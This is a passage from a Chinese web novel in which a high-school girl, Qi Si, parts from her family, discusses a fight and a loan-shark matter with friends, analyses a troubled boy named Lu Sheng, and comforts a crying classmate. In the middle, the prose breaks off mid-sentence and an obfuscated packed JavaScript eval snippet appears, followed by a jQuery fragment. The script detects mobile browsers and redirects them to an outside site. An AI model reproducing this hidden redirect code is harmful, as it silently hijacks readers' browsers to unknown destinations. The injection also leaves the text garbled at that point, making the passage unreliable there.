“城北远了一点，司机天天送你上下学，也不碍事。”


    程均嘴上说话，手上功夫精细，用螃蟹夹子慢慢从壳里掏出白色蟹肉。


    齐思托着下颚，难得有人帮她剥螃蟹，眼睛一错不错地盯着碗里慢慢变多的虾肉：“我一个人住习惯了，有人成天盯着我，不习惯。”


    她平时一个人住，吃饭图省事，什么方便做什么。


    比如煎两块牛排、牛仔骨，煮一小碗面条搭配，有碳水、有优质蛋白。


    偶尔空闲研究食谱，舒阳文和段童充当她的小白鼠，尝试她的试验品，没见他们吐出来。


    连路大少爷也空盘了，想来她做饭的手艺也不差。


    靠，怎么会想到路声。


    “吃吧，沾点姜醋汁，祛寒。”程均起身去洗手，敲了敲房间门，“老婆，我们可以出发了。”


    齐思跟着站起来，好几天不见姐姐姐夫，两人回家做顿饭就要走，不舍地问道：“今天不住家里吗？”


    程均道：“的确是有事，你又不肯跟我们住城北，只能抽空回来看看你。”


    “思思，接下来一段时间，我们会更忙，可能没空来看你，你要是想我们，回城北的家。”齐安从房间里拎着电脑包出来，睡眼稀松，一副补觉没睡够的样子。


    姐姐和姐夫最近忙得几乎没空给她打视频电话，齐思一向不过问公司的事情，忍不住道：“公司没出什么事吧？”


    “有我和你姐在，公司能有什么事，大学霸，好好学习！”


    程均替老婆穿好鞋，又接过老婆手里的电脑包：“越忙，挣得钱越多，到时候给思思买大别墅！”


    齐思不信，放下筷子，冲过去抱住要走的两人：“比起大别墅和钱，我更想要你们健康平安。”


    齐安轻轻拍齐思后背。


    程均看出两姐妹依依不舍，心里直叹气，他不够努力，拉开门道：“思思赶紧去写作业。”


    今天的作业不算多，当误两三个小时的情况下，齐思赶在十一点前结束。


    在群里发一条消息。


    【豆芽：打电话？】


    【香菜：江主任睡着了，我去阳台】


    【西红柿：铲个屎，马上来】


    “后续处理的结果呢？”齐思先问舒阳文。


    “社区说他们家满足某个基金政策，可以申请补助金，后续社区工作人员会帮两位老人找店铺，办理食品经营许可证，健康证等，可以放心了。”


    “高利贷怎么回事？”


    “他们家分别管两家高利贷公司借钱，爷爷奶奶借的那家比较正规。曾兴爸妈借的高利贷公司涉黑，也就是今天来找事的那些人。我还在联系朋友，问问具体什么情况？”


    “别查了，我让姐夫去问。”


    “成，均哥比我们查得快。”


    段童没忘记临走前听见的那句话，愤愤道：“关涛和千瑞付给傅则三千块，让他跟舒阳文打架。”


    舒阳文道：“思思，你怎么想？今天是巧合吗？”


    策划者是傅则这件事，齐思暂时不打算告诉舒阳文和段童：“是不是巧合，我会弄清楚，时间不早了，快睡觉吧。”


    挂断电话，齐思瞄了一眼列表。


    King安安静静，没有发任何消息。


    夜里寂静，唯有窗外的白噪声作响。


    睡不着，一闭上眼睛，脑海里全是路声。


    或在她耳边低声呢喃，或在立在远处凝视，眼里时而泛出荧光，时而嘴角带着淡笑。


    怎么说呢，有种被鬼盯上的感觉。


    一睁眼，空气里似乎飘着一层淡淡的中药味，那是路声身上独有的气味，橘子味极力掩饰，却无法遮掩的味道。


    齐思开灯，坐到桌前。


    时钟显示，距离凌晨十二点，还有半个小时。


    含着西瓜味电子烟，抽出一张空白A4纸，提笔在中心写下“路声”两字。


    以前没有仔细分析，总把他当成可以一次性解决的麻烦。


    没想到成了甩不开的狗皮膏药。


    他有着超出常人的成熟，若非天性使然，那便是成长环境造就了现在的他。


    偏执，霸道，多疑，敏感。


    阴宅的事情，千管家不会陪路声演戏，半真半假。


    路声父母要害他是真，他无助是假。


    客观来说，他对自己狠得下心，对外界足够冷漠，若非如此，摊上那样的父母，他活不到今天。


    作为千亿遗产继承人，路声从出生起就含着金汤匙，即使父母等同于没有，路家对他的培养绝不会像普通家庭那样，他的眼界和见识绝非常人能比。


    他说策划者是傅则，齐思信。


    为什么一开始不挑明呢？


    路声想看她痛苦，陷入两难抉择的痛苦，身体切实的痛苦。


    他有多痛，她也得有多痛。


    她写下四个大字：感同身受。


    没觉得路声有多恨她，反而是由这个词语延伸出来……


    齐思眼眸一颤，她想到答案。


    失去父母的时候，姐姐和姐夫回来陪着她。


    亲眼目睹筱筱的离世，童童和舒阳文拉着她。


    最痛苦，最无助最绝望的时候，身边一直有爱她的人，她爱的人。


    情绪得到充实的拥抱，眼泪可以肆意汹涌。


    家庭的残缺、父母的缺席，会对孩子造成一定的心理创伤。


    她爱身边的人，愿意拼尽全力保护他们，但她做不到与他们日夜共处。


    担心陷入被爱的糖果里，等再面对分离时，会无助、茫然。


    她强迫自己抽离被爱的情绪，从而获得看得见、摸得着的独立。


    宁可给自己的嘴上一道锁，定时定量地“吃糖”。


    主动去爱，而不是被动等爱。


    路声想要……渴望得到她的理解。


    行为过于偏激，他一定有心理疾病，极有可能是无法治愈的心理疾病。


    谁家上市集团爆出继承人有精神问题，都是大雷。


    偏偏要她的理解，为什么？不能是单纯的好玩吧。


    “滴滴～”


    凌晨十二点的闹钟响起，中断笔画。


    睡觉！


    至于傅则，明天再收拾他。


    —


    “喏，你要的煎饼果子加里脊土豆丝不要油条，一杯无糖豆浆。”


    齐思放下关思影的早餐，随即拿出书包里的作业，交到小组长桌上去。


    回来看见关思影生无可恋地啃着煎饼，眼底黑眼圈堪比国宝大熊猫，双眼布满红血丝。


    齐思惊讶道：“关思影，熬通宵了？”


    “根本背不完。”


    关思影放下煎饼，咽下嘴里的食物，眼眶立刻决堤，滔滔不绝的泪水倾泻而下。


    齐思默默拿出餐巾纸，抽出两三张叠在一起，接住她的眼泪：“哭吧，哭出来就好了。”


    “我……我背了整整一个晚上……睡醒忘光，昨晚不睡，我还是记不住。我好害怕期中考试掉排名，我不想去九班，我不想……”关思影抽噎着，断断续续地表达她背历史知识点有多辛苦。


    齐思理解她，压力像不断累积的垃圾，盛放不下就会溢出来，哭一场，彻底清空，反倒轻松。


    高一对高中生活充满向往。


    高三再熬一熬就出头。


    唯独高二卡在中间，不上不下，最焦虑。


    连续三次月考排名全班倒一，且低于九班第一，会被刷到九班去。


    关思影只考过一次全班倒数


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505159|185180||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    第一，目前保持在前十水平。


    没有担心的必要。


    但一个人在情绪激动正上头的时候，听不进去旁人的劝解，要等她冷静下来，再帮她分析利弊。


    焦虑总是会传染人，有人收起闲书，打开课本预习。


    有人被哭声扰得心烦意乱，冲这边道：“大清早，你能不能别哭了，吵得人耳朵疼！”


    齐思望过去，说话的同学叫顾静。


    不怪她听不得关思影的崩溃，顾静已经连续两次全班倒数第一。


    班长递给顾静一本笔记：“数学错题本，借你看。”


    学委走上讲台，翻开英语书：“你们快交作业，交完了，把英语书拿出来，还有五分钟早读。”


    齐思会心一笑，这俩人平时没白吃关思影的巧克力，不动声色地替关思影解围。


    外面人常说一班和五班作为学霸最多的尖子班，内部竞争激烈，互相提防、使坏，没他们氛围和谐。


    顾静冷着脸路过，拍下一袋一次性洗脸巾：“去卫生间洗把脸。”


    “哼，下次你哭，我也要说你。”关思影抓起洗脸巾，匆匆往教室外跑去。


    可能是学文科的缘故，一班大多数同学都有着一颗柔软细腻、互相包容的心。


    按照关思影墨迹的性子，等整理好心情，多半赶不上早读，齐思先帮她找出英语书，翻动之间，在夹层之间看见一张纸。


    不想探究别人的隐私，但关键词被荧光笔标注，过于醒目的一行字“我喜欢你”，很难不去注意。


    不是关思影的字迹，写情书的另有其人。


    齐思合上书，放回原位，抬头对上学委审视的视线。


    他有些不悦，显然对她擅自翻阅关思影的英语课本表示不满。


    啧，这两人有故事。


    齐思翻开自己的英语书，早读指定朗读的那一页，嘴里念着课文，心里想着关思影从周一开始的反常举动，处处有迹可循。


    下一次座位调整，关思影大概率会离她而去。


    少年人盲目而直白的爱意，如灼灼烈日，耀眼炽热，不可忽视；又如夹心巧克力，甜得发腻，让人忍不住为之扬起嘴角。


    她莫名想到一个词语：初恋。


    即人生第一次恋爱，firstlove。


    那她的初恋对象会是什么样的人？


    对姐姐说，颜值、内外和价值观，三者缺一不可。


    她喜欢计划好一切，每日时间规划，日程安排。


    当初恋与计划相违背时，是否会继续坚持自己的原则呢？


    虽然很不想承认，她的确是一个较为理智客观的人。


    情绪对她无用，负面情绪更是麻烦，阻碍她的计划，她会忽视情绪，消除障碍，直至一切畅通。


    目前最大的麻烦，路声。


    他保证消停一段时间，但齐思终归要解决他。


    “思思，今天能来我家住吗？”


    吃过午饭，段童搂着齐思胳膊，边上跟着舒阳文，三人在操场上溜达散步。


    齐思道：“今天不太行，明天吧。”


    “为什么？”


    “前段时间事情太多，笔记和课外阅读的进度落下了，我想补回来。”


    今天放学，她要去找傅则。


    舒阳文见两人不说话了，开口道：“曾兴没来学校，在家帮爷爷奶奶收拾东西，他托我跟你说，谢谢。”


    齐思道：“我也没帮上什么忙。”


    舒阳文道：“我们能全身而退，全靠你治住路声。”


    “你抽空跟曾兴说一说，这件事过后，不要再跟关涛和千瑞硬碰硬，以后他们也不会再找他麻烦。”齐思道。


    段童见她没提到路声：“昨天的事情，跟路声没关系吗？”